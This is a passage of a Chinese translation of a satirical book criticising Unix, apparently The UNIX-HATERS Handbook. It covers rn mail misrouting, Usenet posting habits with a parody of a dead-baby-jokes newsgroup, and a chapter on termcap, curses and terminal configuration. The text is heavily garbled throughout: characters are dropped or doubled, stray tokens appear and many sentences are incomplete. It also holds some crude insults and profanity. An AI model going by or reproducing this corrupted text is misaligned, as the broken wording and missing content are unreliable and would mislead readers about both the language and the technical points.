的 环 境 当 中 ) 有 到 头 的 时 候 , 然 反 咬 你 一 <br />
期 Fri, Sep :: EDT<br />
来 自 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
发发 给 UNIX 痛 者<br />
题 rn 咬 了 粉 丝<br />
我 当 时 在 “ 骂 人 网 ” 看 帖 , 读 到 一 篇 文 然 想 保 留 来 。RN 有 个 趁 手手 的 小小 <br />
能 , 允 用 户户 将将 当 前 阅 读 的 内 容 通 过 管 道 传 给 任 何 Unix 程程 序 , 所 你 在 喜 的 时<br />
候 输 入 “| lpr” 来 打 印 文 。 外 , 你 还 能 在 一 个 提 示 符 输 入 “| mail jrl@fnord.org”,<br />
然 把把 文 发发 给 自 己 或或 是 他 幸 运 儿 。<br />
眼 我 想 保 存 的 这 篇 文 和 我 的 作 直 接接 相 , 所 我 决 发发 封封 邮 件 给 自 己 。 我 们 通 过<br />
UUCP 接接 到 uunet( 一 个 长 盛 不 衰衰 的 源 泉泉 , 但 又 是 一 个 故 事 了 …盚…盚), 但 没没 有<br />
域 , 于 是 我 把把 邮 件 发发 给 了 “rs%dead-lock@uunet.uu.net”。 显 然 rn 对 %d 情 有 独 钟 , 因<br />
几 个 小小 时 我 在 邮 箱 发发 现 了 这 个 <br />
期 Fri, Sep :: -<br />
来 自 MAILER-DAEMON@uunet.uu.net( 邮 件 投 递 子 系 )<br />
----- 续 抄抄 录 -----<br />
>>> RCPT To:<br />
有捯 问 题 , 就 发 帖<br />
· ·<br />
有捯 问 题 , 就 发 帖<br />
我 把把 疑 投 向 网 , 我 的 答 案 没没 有 着 落 。<br />
盒 盒 艾 迪 核 纳 瑟 , 德 克 萨 斯 大 学 奥 斯 汀 分 校<br />
在 期 的 新 闻 网 中 , 发发 出 的 帖 子 能 要 花 一 周 才 能 基 传 遍 网 , 因 <br />
在 常 情 况 , 每 距 离 传 都 意 味 着 通 宵 电 。 导 致 的 结 果 就就 是 新 闻 网<br />
的 讨 常 常 很 混 杂 , 既 像 多 人 在 流 发发 言言 又 像 小小 孩 子 拿 电 搞搞 恶 作 剧 。<br />
线 的 人 给 讨 添 新 的 事 , 或或 者 甚 至 转 换 到 别 的 题 , 而 来 的 人 <br />
常 常 看 到 序 混 乱 或或 者 文 不 对 题 的 帖 子 。 那 时 的 电 子 邮 件 经 常 抽 疯 , 所 有<br />
必 要 把把 回 答 和 题 一 起 发发 出 去去 , 这 又 给 人 一 种 感 觉 , 似 题 和 你 的 回 答<br />
时 到 达 电 线 的 一 个 站 点 , 结 果 有 能 那 的 人 看 到 题 已 经 回 答<br />
过 了 。 最 的 效 果 是 发发 帖 减 少少 了 , 真 是 没没 想 到 。<br />
现 在 新 闻 网 的 度 快 多 了 。 如 果 你 在 因 特 网 发发 帖 子 , 一 般 几 分 钟 内<br />
就就 到 达 数 百 个 站 点 。 但 就就 和 原原 子 弹 的 情 况 一 , 人 类 自 身 没没 能 跟 技 术<br />
的 脚 。 人 们 看 到 文 一 窝 蜂 地 立立 即 跟 帖 , 才 不 想 等 着 先 看 别 人 的 回 答 。<br />
部 分 是 因 新 闻 网 件 盒 盒 确 没没 有 好 法 找 出 是 否 有 人 已 经 回 答 了 题 ,<br />
当 然 和 自 尊尊 心 有 系 妈 妈 快 看 , 我 的 字 多 闪 亮 。<br />
结 果 呢 , 提 的 帖 子 收 到 多 回 答 , 中 既 有 彼 矛 盾 有 错 误 篇 ,<br />
但 这 都 是 意 料 中 的 免 建 配 得 你 的 付 出 。<br />
了 帮 减 少少 复 发发 的 频 率 , 多 新 闻 组 都 有 愿 者 期 维 护 称 <br />
常 见 题 (FAQ) 的 帖 子 , 搜搜 经 常 遇 到 的 题 及 答 案 。 这 似 有 用 ,<br />
但 并 不 总 是 奏 效 , 还 是 常 常 有 人 发发 帖 “FAQ 在 哪 啊 ?”, 或或 者 更 鲁 莽 地 直<br />
接接 “ 我 知 道 这 个 题 在 FAQ , 不 过 …盚…盚”<br />
新 闻 网 的 七 重 境 界<br />
马 克 核 沃沃 科 斯<br />
<br />
出 品<br />
新 闻 网 发发 帖 人 的 七 境 界 ,<br />
带 鲜 活 例 子 。<br />
<br />
译 注 Ed Nather。<br />
<br />
译 注 Mark Waks。
· · 瞌 睡 网<br />
懵 懂<br />
大 家 好 , 我 是 新 来 的 。 什 么 他 们 把把 这 地 方 做 “TALK.BIZARRE” 呀 ?<br />
我 觉 得 这 个 星 文 组 , 啊 错 了 , 是 新 闻 组 盒 盒 嘻 嘻 ) 真 的 一 点 都 不 搞搞 怪 嘛 。:)<br />
[ 处 恐 怖 笑 已 删 除 ]<br />
这 种 笑 不 准 发 在 这 里 ! 你 就就 不 能 读 读 版 规 ? 在 新 闻 组 列 表表 , 基 尼 核 斯 帕 弗 德 写 得<br />
清 清 楚楚 楚楚 <br />
rec.humor.dead.babies<br />
恐 怖 笑 交 换 区<br />
够 简 单 的 吧 ? 光 死 鬼 不 够 , 还 非 得 是 个 死 小小 鬼 盒 盒 懂 没没 ?<br />
这 肯 是 个 卑 鄙 小小 人 , 他 们 甚 至 不 敢 用 真 。 我 是 FOO 到 算 哪 种<br />
字 ? 我 在 投 , 让 BAR.BITNET 的 管 理 员 立立 刻 封封 了 这 个 。 如 果 管 理 员<br />
不 答 , 那 他 们 必 是 互 相 勾 结 , 到 时 候 我 将将 强 烈 建 大 家 立立 即 在 新 闻 推 <br />
中 屏 蔽 他 们 , 来 个 眼 不 见 净 。<br />
反 目<br />
在 帖 子 (@Wumpus) 中 ,James_The_Giant_Killer@Wumpus 写 到 <br />
> 怎 才 能 将将 个 死 小小 鬼 放 一 个 特 百 惠 碗 ?<br />
> ^L<br />
> 答 La Machine! 哈 哈 哈 哈 !<br />
<br />
译 注 Gene Spafford。
新 闻 网 的 七 重 境 界<br />
· ·<br />
你 们 这 些 人 全 都 没没 有 想 象 力 吗 ? 算 最 近 个 月 , 这 笑 我 们 过 至 少<br />
二 十十 遍 了 ! 在 立立 初 , 这 个 新 闻 组 既 有 活 力 又 富 于 新 , 我 们 交 换 真<br />
新 鲜 的 恐 怖 笑 , 前 对 没没 人 过 , 甚 至 一 半半 的 笑 完 全 是 这 原原 <br />
的 , 现 在 呢 , 净 是 自 自 的 人 。 你 们 就就 是 一 潭 死 水水 , 我 真 服 了 你 们 了 。<br />
随 你 们 怎 么 吧 , 反 我 不 看 这 个 组 了 。 再 见 !<br />
认 命<br />
在 帖 子 (@wildebeest) 中 ,wildman@wildebeest 抱抱 怨 到 <br />
> 在 帖 子 (@newsite) 中 ,newby@newsite( 菜 鸟 姆 ) 写 到 <br />
>> 怎 才 能 将将 个 死 小小 鬼 塞 一 个 垃 圾 桶 ?<br />
>> 用 美 康 !<br />
> 老 爷 ! 我 们 吃 饱 了 撑 的 要 外 建 rec.humor.dead.babes.new? 就就 是 了 把把 这 种 火<br />
星捏 笑 拒拒 门 外 ! 滚 回 r.h.d.b 吧 , 带 点 想 象 力 过 来 , 成 不 ?<br />
喂 ,wildman, 冷 静 。 当 你 和 我 待 得 一 久 , 就就 知 道 在 这 些 网 蠢蠢 人 是<br />
生 活 的 一 部 分 。 这 看 吧 至 少少 我 们 还 在 这 儿 ,rec.humor.dead.babes.new<br />
的 大 部 分 笑 还 算 新 鲜 有 趣 。 我 们 固 然 指指 望 像 这 的 菜 鸟 先 潜 水水 ,<br />
直 到 理 解解 编 死 鬼 笑 的 精 妙 处 , 但 就就 算 他 们 直 接接 跳 出 来 我 们 得 忍 。 保<br />
持 风 度 , 别 小小 事 发发 火 。<br />
看 破<br />
在 帖 子 (:@cluck) 中 ,chickenman@cluck( 克 拉拉 克 核 肯 特 ) 嚷 嚷 着 <br />
> 在 帖 子 (@nybble) 中 ,byte@nybble(J. Quartermass Public) 写 到 <br />
>> 在 帖 子 (:@cluck) 中 ,chickenman@cluck( 克 拉拉 克 核 肯 特 ) 嚷 嚷 着 <br />
>>> 在 帖 子 (@nybble) 中 ,byte@nybble(J. Quartermass Public) 写 到 <br />
>>>> 在 帖 子 (:@cluck) 中 ,chickenman@cluck( 克 拉拉 克 核 肯 特 ) 嚷 嚷 着 <br />
>>>>> 因 我 建 立立 rec.humor.dead.chicken。<br />
>>>> 在 他 们 要 求 开 这 个 新 闻 组 前 , 我 得 指指 出 他 们 必 规 矩 。 规 清 楚楚 地 指指 出 你 得<br />
>>>> 证 明 新 组 有 足 够 的 人 气 。 rec.humor.dead.babes 人 气 就就 不 怎 么 , 所 我 能<br />
>>>> 这 个 建 一 看 就就 是 骗 人 的 。<br />
>>> 我 们 想 在 r.h.d.b 贴 个 死 鸡 笑 , 结 果 被被 人 尖尖 着 走 ! 你 敢 疑 我 们 没没 有 人<br />
>>> 气 , 烂 人 ?<br />
>> 这 种 人 身 攻 击 没没 用 的 。 我 的 看 法 很 简 单 如 果 有 人 喜 死 鸡 笑 , 那 我 们 肯 已 经<br />
>> 在 r.h.d.b 到 死 小 鸡 的 笑 了 , 但 我 们 没没 有 , 所 没没 人 想 死 鸡 笑 。<br />
> 完 全 没没 道 理 ! 你 这 简 直 是 扯 淡 。<br />
现 在 大 家 看 清 楚楚 没没 , 这 个 克 拉拉 克 的 脑 子 就就 这 了 。 没没 人 想 在<br />
rec.humor.dead.chicken 发发 帖 , 所 不 该 开 这 个 组 。<br />
<br />
译 注 Cuisinart, 美 国 小小 家 电 品 牌 。
· · 瞌 睡 网<br />
这 种 家 真 让 我 火 。 这 间 房 子 就就 是 纸 糊 的 , 再 多 来 几 个 新 闻 组 不 整<br />
个 塌 掉 才 怪 , 他 就就 想 不 到 吗 ? 一 开 始 我 们 开 了 rec.humor.dead.chicken( 然 <br />
肯 是 rec.humor.dead.chicken.new) 接接 来 他 们 想 开 rec.humor.ethnic,<br />
然 是 rec.humor.newfy。 到 那 个 时 候 全 世 界 的 新 闻 网 仲 裁 员 都 鄙 视 我 们 ,<br />
决 不 再 和 我 们 交 换 帖 子 。 那 是 你 的 目 标 吗 , 克 拉拉 克 ? 把把 新 闻 网 引 入 路 ?<br />
哼 !<br />
我 敦 促 每 个 人 都 投 票 反 对 这 个 提 。 现 有 的 系 还 在 作 , 我 们 不 要 搞搞<br />
得 过 分 , 小小 心 得 反 。
新 闻 网 的 七 重 境 界<br />
· ·
第 章<br />
终 端 错 乱<br />
劫 数挮 啊 ! 还 是捔 不 行 !<br />
Unix 自 诩 交 互 式 系 , 意 思 是 程程 序 在 运 行 中 要 响 用 户户 指指 , 而 不<br />
是 文 件 系 。 影 响 交 互 的 因 素 多 , 中 有 两 个 很 要 用 户户<br />
所 使 用 的 显 示 及 输 入 硬 件 的 能 , 及 程程 序 使 用 这 些 硬 件 的 能 力 。<br />
原 罪<br />
我 们 很 倒 霉 ,Unix 生 于 电 传 打 字 机 的 时 。 电 传 打 字 机 支 持 的 操 作<br />
有 “ 打 印 一 个 字 符 ”、“ 回 一 个 字 符 ”, 及 “ 往 滚 一 行 纸 张 ”。 从 那 个 时<br />
候 起 , 就就 发发 展展 出 了 两 种 不 的 输 入 / 输 出 技 术 基 于 字 符 的 “ 视 频 显 示 端<br />
(VDT)”, 字 符 输 出 度 高 于 纸 张 打 印 端 , 并 且 ( 至 少少 ) 能 在 屏 幕 <br />
任 意 放 置 光 标 及 图 显 示 , 允 单 个 像 素 被被 独 立立 点 亮 或或 者 熄 灭 ( 在 显<br />
示 彩 色 的 情 况 , 每 个 像 素 各 自 从 颜 色 表表 得 色 彩 )。<br />
从 多 家 开 始 销 售 VDT 的 那 一 刻 起 , 件 程程 师 们 就就 对 着 一 个 迫<br />
切 的 题 各 家 厂厂 商 现 类 似 能 的 控 制 序 列 是 不 的 。 程程 序 员 必 找 到 <br />
法 对 付 这 些 差 。<br />
在 人 敬 畏 的 DEC, 程程 序 员 们 想 出 一 个 真 的 法 来 对 付 这 些 五 花 门<br />
的 端 。DEC 是 时 生 硬 件 和 件 的 , 所 他 们 脆 不 支 持 别 家 的 端 ,<br />
而 是 支 持 DEC 标 准 的 VT( 来 还 有 VT、VT 等 等 ), 然 把把 信 息<br />
显 示 算 法 写 死 在 自 家 的 VMS 操 作 系 、 用 程程 序 、 脚 、 邮 件 消 息 , 及<br />
任 何 染 指指 的 系 字 符 串 中 。 这 种 做 法 甚 至 在 DEC 的 ZK、ZK 和 ZK 大<br />
楼楼 催 生 出 一 整 套 传 每 逢 节 时 人 们 都 编 写 画 的 “ 圣 卡 ”, 然 <br />
寄 给 他 毫毫 无 戒 心 的 用 户户 ( 把把 前 者 想 作 编 写 计 算 机 蠕蠕 虫 和 病 毒 的 先 驱 )。<br />
在 MIT 人 智 能 验 , 一 个 迥 的 解解 决 方 案 出 现 了 不 是 让 每 个<br />
<br />
译 注 据据 回 忆 ,ZK 是 DEC 区 域 的 , 于 新 罕 布 什 尔尔 州 纳 舒 厄 市 斯 皮 特 核 布 鲁 克 大 道 。ZK 表表<br />
示 “Zonker Kookies”。
· · 终 端 错 乱<br />
用 程程 序 都 知 道 如 何 在 用 户户 的 屏 幕 显 示 信 息 , 而 是 ITS 操 作 系 身 <br />
现 相 算 法 。 在 验 编 写 的 ITS 内 中 , 有 一 个 特 殊 的 输 入 / 输 出 子 系 ,<br />
负 录 用 户户 屏 幕 显 示 的 每 个 字 符 , 及 自 处 理 不 端 的 差 。 新 增<br />
一 个 类 型 很 简 单 , 需 要 告 ITS 该 端 的 屏 幕 尺尺 寸 、 控 制 序 列 , 及 操 作<br />
特 性 , 每 个 现 有捯 的 用 程 序 无 任 何 修 改 , 眨 眼 就就 能 作 在 新 端<br />
。<br />
又 因 控 制 屏 幕 的 是 操 作 系 而 不 是 用 程程 序 , 每 个 程程 序 都 能 做 一 些<br />
事 情 , 比 如 新 绘 制 屏 幕 ( 当 你 的 线 路 音 很 大 时 ), 或或 者 和 别 的 程程 序 共 享<br />
部 分 屏 幕 。 甚 至 还 有 个 系 , 让 用 户户 能 看 到 别 人 的 显 示 内 容 , 当 你 要 回<br />
答 别 人 的 题 又 不 想 走 路 时 很 有 用 。<br />
Unix( 经 比 尔尔 核 乔 伊 手手 ) 采 第 道 路 。 控 制 VDT 的 技 术 节<br />
现 在 一 个 中 , 但 这 个 不 是捔 链 接拹 到 所 属 的 内 掩 ( 或 者 共 享 ), 而<br />
是捔 到 每 个 用 程 序 。 当 这 个 所 谓 的 termcap 爆 出 臭 虫 时 , 户户 程程 序 都 要<br />
新 链 接接 ( 偶 尔尔 还 要 新 编 译 )。 于 屏 幕 管 理 是 基 于 用 的 , 所 各 个 程程<br />
序 间 非 但 不 共 享 屏 幕 , 还 假 各 自 拥拥 有 完 全 控 制 ( 考 虑 到 当 时 Unix 的 状<br />
, 这 个 假 倒 不 )。 最 能 是 最 要 的 一 点 ,Unix 内 仍 然 <br />
自 己 是 在 一 传 的 电 传 打 字 机 显 示 信 息 。<br />
结 果 呢 , 于 程程 序 如 何 与 VDT 交 互 ,Unix 始 没没 能 发发 展展 出 理 的 策 略 或或<br />
者 模 型 。 半半 生 不 熟 的 临 时 方 案 一 个 ( 比 如 termcap) 接接 一 个 ( 比 如 curses),<br />
程程 序 在 一 程程 度 独 立立 于 端 了 , 但 题 从 解解 决 。Unix 程程 序 完 全 用<br />
不 到 任 何 “ 智 能 ” 的 端 能 , 而 是 局 限 在 光 标 、 行 内 插插 入 、 行 内 删<br />
除 、 区 域 滚 , 及 颜 色 反 转 类 。 如 果 你 的 端 支 持 线 绘 制 、 保 护 区<br />
域 、 双 倍 字 符 高 度 , 或或 者 能 配 的 按按 键 , 那 真 是 不 啊 这 是 Unix 的<br />
地 。 这 种 毫毫 无 法 的 度 发发 展展 去去 , 于 到 达 了 一 个 逻 辑 的 顶 点 , 那<br />
就就 是 题 被被 X Window 这 个 痴 肥 的 拼 凑 系 解解 决 了 , 价 是 一 堆 多 得 多 <br />
昂 贵 得 多 的 新 题 。<br />
X Window 系 来 自 MIT, 而 得 多 的 NeWS 来 自 Sun( 詹詹 姆 斯 核<br />
高 斯 林 现 ), 真 是 有 趣 得 很 。 这 个 奇 怪 的 现 象 明 ,Unix 的 世 界 是 有 眼<br />
光 的 ,Unix 的 世 界 得 到 了 想 要 的 东 西 。<br />
今 看 来 ,Unix 处 理 字 符 VDT 的 手手 法 在 烂 , 那 种 惊 悚 不 是 玩 笑 一<br />
番 就就 能 化 解解 的 。X 和 图 屏 幕 没没 有 让 题 消 失 , 还 有 多 VDT 接接 在 Unix<br />
机 , 比 如 , 数 字 理 , 及 调 制 解解 调 的 一 端 。 如 果 Unix<br />
狂 热 者 们 对 了 , 就就 是 每 Unix 机 确 有 多 个 用 户户 使 用 ( 相 比 DOS<br />
<br />
译 注 Bill Joy,Sun 建 人 一 。<br />
<br />
译 注 James Gosling,Java 语 言言 父 。
诅 咒 (curses) 背 的 魔 法<br />
· ·<br />
机 的 单 个 用 户户 ), 那 么 中 至 少少 分 二 的 人 仍 被被 被被 卡 在 缺 少少 支 持 的 VDT<br />
, 他 们 手手 最 有 交 互 性 的 大 概概 就就 数 vi 了 。<br />
最 常 用 的 X 用 程程 序 是 xterm, 一 个 VT 端 模 拟拟 程程 序 。<br />
是 什 么 件 在 控 制 着 中 的 文 显 示 ? 除 了 termcap 和 curses 就就 没没 别 的 !<br />
诅 咒 (curses) 背 的 魔 法<br />
交 互 式 程程 序 需 要 对 所 控 制 的 显 示 备 构 模 型 。 对 一 个 系 而 言言 , 支<br />
持 显 示 备 最 理 的 方 式 是 提 供 抽 象 的 API( 用 编 程程 接接 ), 来 现 诸 如<br />
“ 回 字 符 ”、“ 清 空空 屏 幕 ” 和 “ 放 置 光 标 ” 类 的 命 。Unix 认 最 简 单 的<br />
方 案 就就 是 完 全 不 提 供 任 何 API。<br />
多 来 , 缺 少少 图 形 API 的 Unix 程程 序 都 将将 大 多 数 流 行 端 的 控 制 序 列<br />
嵌 入 码 中 , 因 显 得 很 臃 。 最 vi 出 现 了 , 比 尔尔 核 乔 伊 在 端 描 述 符 文<br />
件 termcap 的 基 础 现 了 自 己 的 API, 中 有 两 个 性 的 缺 陷 <br />
. termcap 文 件 格 式 盒 盒 包 的 光 标 移移 命 、 遗 漏 的 它 命 , 及<br />
表表 达 复 杂 转 义 序 列 的 技 术 盒 盒 在 当 时 , 到 今 是 一 , 经 过 了 vi 的<br />
特 别 剪 裁 , 因 并 不 是 一 般 性 地 描 述 端 的 能 力 差 , 而 是 考 虑 了<br />
和 vi 相 的 部 分 。 随 着 时 间 流 , 这 个 题 得 到 了 部 分 补补 , 但 还 不<br />
足 克 服 最 初 的 缺 陷 。<br />
. 这 个 API 的 引 擎 是 vi 开 发发 的 , 别 的 程程 序 员 无 法 用 于 自 己 的 码 中 。<br />
所 呢 , 别 的 程程 序 员 阅 读 termcap 文 件 中 保 存 的 转 义 序 列 , 但 还 是<br />
要 自 己 决 如 何 向 端 发发 。<br />
在 这 种 情 况 , 肯 核 阿 诺 德<br />
<br />
开 始 编 写 一 个 做 curses 的 , VDT<br />
提 供 通 用 API。 这 带 来 的 题 有 个 首 先 , 肯 决 使 用 termcap 文 件 ,<br />
就就 继 承 了 vi 的 脑 残 计 盒 盒 恐 怕 汲汲 历 史 教 从 头 来 过 才 是 道 ,<br />
curses 编 写 得 不 专 业 , 和 大 多 数 Unix 一 , 信 简 单 性 胜 过 健 壮 性 <br />
第 ,curses 不 是 一 个 常 的 , 就就 像 /etc/termcap 身 一 , 因 无 法<br />
成 一 个 移移 植植 的 方 案 。 于 这 些 题 的 存 在 , 有 部 分 Unix 社 区 采 用 了<br />
curses。 使 用 了 curses 的 程程 序 很 容 易捎 分 辨 屏 幕 缓 慢 更 新 、 光 标 无 谓 移移 ,<br />
从 不 使 用 那 些 让 屏 幕 更 易 读 的 字 符 属属 性 就就 算 端 字 符 支 持 绘 制 线 的<br />
要 是 这 还 不 够 糟 糕 , 那 么 AT&T 又 自 己 开 发发 了 不 容 的 端 能 力 表表 示 系 , 称 terminfo。<br />
<br />
译 注 Ken Arnold。
· · 终 端 错 乱<br />
字 符 , 这 些 程程 序 用 “|”、“-” 和 “+” 画 线 。 到 , 基 于 字 符 的 VDT<br />
仍 然 没没 有 标 准 API。<br />
画 蛇 添 足 的 分 隔 符<br />
围 绕 在 端 处 理 手手 法 四 周 的 这 种 视 是 有 历 史 传 承 的 。 按按 照 最 初 的 想<br />
法 , 要 查 看 一 个 文 文 件 , 就就 把把 中 的 字 符 到 屏 幕 ( 在 “ 一 切 都 是 字 节<br />
流 ” 的 Unix 圣 歌 中 , 这 种 观 点 很 理 ), 但 题 是 背 了 抽 象 原原 。 在 逻 辑<br />
结 构 多 行 构 成 了 文 文 件 , 行 间 用 某 种 分 隔 , 所 该 有 一 个 理<br />
解解 这 种 结 构 的 程程 序 负 显 示 文 件 , 但 如 果 直 接接 把把 端 的 换 行 和 回 车 字 符 作<br />
分 隔 行 的 , 那 么 这 个 显 示 程程 序 不 就就 省 了 吗 ? 通 往 地 狱 的 道 路 总 是<br />
好 心 铺 成 的 , 还 要 一 点 像 这 的 将将 就就 。 捡 起 了 一 时 方 便 , 却 丢 掉 了 健 壮<br />
和 抽 象 。<br />
抽 象 ( 对 API 而 言言 ) 很 要 , 因 这 的 系 将将 来 才 能 扩扩 展展 , 这 是 今 <br />
建 的 基 础 , 而 用 换 行 回 车 分 隔 文 件 行 展展 示 了 “ 如 何 阻 系 的 逻 辑 扩扩<br />
展展 ”。 例 如 那 些 最 病 的 Unix 人 士 热 衷衷 于 在 文 件 中 拼 凑 转 义 字 符 , 如 果 将将 内<br />
容 用 管 道 发发 给 端 , 就就 呈 现 出 某 种 画 效 果 。 他 们 高 地 把把 这 些 文 件 发发 给<br />
朋 友 们 , 作 业 都 了 做 。 这 种 把把 戏 很 爱 , 但 能 在 一 种 端 作 。 现<br />
在 想 象 世 界 有 一 种 API, 既 能 检 测 端 , 又 能 将将 控 制 命 嵌 入 文 件 , 那 么<br />
这 些 文 件 就就 能 在 任 何 端 使 用 了 。 还 有 更 要 的 方 , 这 些 API 构 成 了 <br />
来 扩扩 展展 的 基 础 、 文 件 移移 植植 的 基 础 , 还 有 家 庭 作 坊 的 基 础 。 比 方 给 API 增 <br />
声 音 , 就就 吹 嘘 这 是 个 “ 多 媒 体 ” 系 。<br />
从 看 ,API 光 存 在 是 不 够 的 , 还 必 内 或或 者 标 准 链 接接 <br />
提 供 。 操 作 系 的 某 个 部 分 当 屏 蔽 端 的 类 型 并 义 必 要 的 抽 象 边 界 。 有<br />
些 Unix 狂 热 分 子 不 相 信 不 理 解解 这 一 点 , 他 们 认 用 程程 序 该 各 自 把把 转 义<br />
序 列 发发 给 端 , 而 不 需 要 承 担 API 的 额 外 开 销 。 对 这 些 人 我 们 有 个 建 , 不<br />
妨 给 他 们 一 个 系 , 中 磁 就就 是 这 使 用 的 没没 有 API, 用 程程 序 必 将将<br />
层 控 制 命 发发 给 磁 。 这 的 程程 序 一 晕 菜 , 不 是 把把 屏 幕 搞搞 乱 , 就就 是 把把 磁<br />
搞搞 乱 还 有 , 程程 序 能 否 运 行 决 于 系 装装 的 体 磁 型 , 中 某 些 <br />
但 肯 不 是 全 部 。<br />
显 而 易 见 , 按按 照 这 种 建 来 控 制 磁 就就 是 脑 子 水水 。 每 种 磁 驱 都<br />
有 某 些 独 特 的 属属 性 这 些 区 别 最 好 备 驱 程程 序 在 一 个 地 方 中 处 理 。 程程<br />
序 或或 者 程程 序 员 都 有 能 犯 错 误 , 所 像 读 写 一 类 的 操 作 该 在 操 作 系 <br />
的 某 处 现 , 要 编 写 一 , 调 试 完 成 , 就就 不 用 再 管 。 什 么 对 待 端 要 反<br />
道 而 行 呢 ?
诅 咒 (curses) 背 的 魔 法<br />
· ·<br />
强 迫 程程 序 员 知 道 程程 序 如 何 向 端 发发 命 , 往 少少 了 是 中 世 纪 的 陈 规 。<br />
约 翰 尼 核 茨 威 格<br />
<br />
对 事 的 看 法 更 直 率 <br />
期 May :: GMT<br />
来 自 zweig@casca.cs.uiuc.edu( 约 翰 尼 核 茨 威 格 )<br />
题 /etc/termcap<br />
新 闻 组 alt.peeves <br />
作 一 个 科 技 作 者 及 件 程程 师 , 我 的 观 点 是 这 个 世 界 , 没没 有 任 何 理 让 任 何<br />
人 知 道 /etc/termcap 的 存 在 , 更 不 用 “ 摆 环 境 才 能 运 行 vi 编 辑 ” 这 种 事 情 。 有<br />
些 傻 瓜 还 要 添 乱 , 结 果 大 多 数 端 类 型 都 把把 xterm 当 成 × 行 大 小小 的 显 示 区 域 。 对 那<br />
些 通 过 X Window 在 作 站 显 示 的 人 来 ,× 就就 像 把把 汽汽 车 座 在 自 行 车 盒 盒<br />
窗窗 他 妈 大 了 , 屏 幕 装装 不 。 这 种 蠢蠢 才 杀 一 遍 不 解解 。<br />
我 总 感 觉 “ 找 出 到 我 在 使 用 哪 种 端 ” 不 该 那 么 困 难 , 想 想 把把 弹 发发 射射 到 目 标 十十 米<br />
内 , 想 想 载 人 登 月 , 再 想 想 俄 罗 斯 方 块 。<br />
什 么 流 汗汗 流 血血 流 泪 整 整 十十 , 这 坨 狗 屎 还 没没 清 理 净 ? 写 出 的 件 还 是 让 用 户户<br />
心 头 发发 慌 ? 谁 第 一 个 站 出 来 “ 要 敲 eval resize 命 ”, 我 就就 他 个 酸 鼻 盒 盒 牛 头 不<br />
对 马 嘴 。 从 用 户户 敲 命 的 地 方 往 走 十十 一 个 件 层 , 才 是 做 这 种 事 情 的 地 方 盒 盒 该 死 的<br />
硬 件 总 该 知 道 自 己 是 哪 葱 吧 ? 如 果 还 不 知 道 就就 脆 在 我 的 屏 幕 显 示 “ 你 在 使 用<br />
的 硬 件 烂 透 了 , 你 个 失 者 , 算 了 吧 还 是 去去 找 份 经 差 事 。”<br />
盒 盒 约 翰 尼 端<br />
这 种 状 况 类 似 于 所 有 制 度 化 的 僚 作 派 , 如 果 将将 就就 一 事 不<br />
至 于 无 救 药 ( 虽 然 不 尽 如 人 意 )。 但 Unix 就就 是 没没 法 将将 就就 ,Unix 就就 是 要 挡 道<br />
盒 盒 明 明 是 发发 给 VDT 的 命 ,Unix 却 随 意 替 换 , 要 想 现 直 接接 操 纵 光 标 ,<br />
程程 序 腾 挪 回 转 的 要 堪 比 奥 运 体 操 选 手手 才 行 。<br />
例 如 有 个 程程 序 想 把把 光 标 放 在 (x,y), 于 是 发发 转 义 序 列 及 x 和 y<br />
的 二 制 编 码 。Unix 不 允 将将 任 意 二 制 数 值 原原 封封 不 地 发发 给 端 ,GNU<br />
Termcap 文 档 描 述 了 这 个 题 及 怎 凑 活 着 用 <br />
用 ‘%. 盖 编 码 的 参参 数 生 空空 字 符 、 制 表表 符 或或 者 换 行 符 。 但 这 有 题 tput 能<br />
认 空空 字 符 表表 示 字 符 串 结 , 内 或或 者 别 的 码 能 把把 制 表表 符 展展 开 成 空空 格 , 内 还 能<br />
给 换 行 符 回 车 , 或或 者 填 补补 通 常 用 于 换 行 的 字 符 。 了 出 现 题 ,tgoto 小小 心 翼<br />
翼 地 避 开 这 些 字 符 , 作 方 式 如 如 果 光 标 的 目 的 置 成 题 ( 就就 是 、 或或<br />
),tgoto 就就 , 然 添 一 段 字 符 再 把把 光 标 向 前 或或 者 向 挪 一 个 置 。<br />
艾 伦 核 鲍 登 对 这 种 情 形 感 到 不 吐 不 快 <br />
期 Wed, Nov :: EST<br />
来 自 艾 伦 核 鲍 登 <br />
发发 给 UNIX 痛 者<br />
题 别 跟 我 提 curses<br />
<br />
译 注 Johnny Zweig。<br />
奥 林 核 希 尔尔 伯 特 ( 译 注 Olin Siebert) 转 发发 到 UNIX 痛 者 。
· · 终 端 错 乱<br />
这 得 脑 残 了 , 我 简 直 泪 流 满 。 一 边 是 Unix 要 求 每 个 程程 序 手手 生 转 义 序 列 <br />
驱 用 户户 的 端 , 一 边 又 是 Unix 让 序 列 发发 困 难 。 就就 像 饭 店 没没 有 卖 酒 的 执执 照 , 所 <br />
你 自 己 带 了 酒 , 结 果 饭 店 让 你 倒 在 滴 水水 杯 喝 。<br />
定 制 你 的 终 端 设 置<br />
试 试 把把 这 件 事 情 搞搞 明 白 , 你 很 快 就就 能 发发 现 一 些 拙 劣 的 片 段 在 .cshrc 和<br />
.login 中 堆 积 , 背 是 那 些 蠢蠢 笨 的 拼 凑 的 计 方 案 , 而 中 每 一 种 都 是 了<br />
某 个 特 殊 的 端 或或 者 网 接接 而 计 的 。 题 的 源 是 缺 少少 一 个 紧 凑 的 <br />
端 模 型 , 所 用 户户 必 把把 不 的 配 置 信 息 告 做 不 事 情 的 不 程程 序 。 例 如<br />
telnet 和 rlogin 用 一 套 配 置 ,tset 用 一 套 ,stty 再 用 一 套 。 这 些 子 系 的<br />
行 好 像 各 自 分 属属 不 的 , 这 还 不 算 完 盒 盒 尤尤 是 stty 盒 盒 所 接接 的 的<br />
命 和 选 还 要 决 于 不 的 分 盒 盒 就就 是 所 运 行 的 Unix 版 (Unix <br />
所 谓 的 透 明捍 网 络 环 境 简 直 破 绽 百 出 )。 这 些 程程 序 沆沆 瀣 一 气 , 让 我 们 的 苦 挨挨<br />
了 发发 开 花 弹 <br />
期 Thu, Jan :-<br />
来 自 “ 约 翰 核 R 核 邓 宁 ”<br />
发发 给 UNIX 痛 者<br />
题 Unix 大 战战 端 置<br />
那 我 telnet 到 一 地 的 Sun 机 想 点 事 情 , 然 而 当 我 打 开 emacs, 却 有<br />
一 个 小小 窗窗 显 示 在 虚 拟拟 端 屏 幕 方 。 这 个 窗窗 , 我 确 认 TERM 和 TERMCAP<br />
环 境 置 确 , 于 是 再 试 试 , 还 是 不 行 , 似 emacs 认 我 的 屏 幕 高 度 有 几 行 。<br />
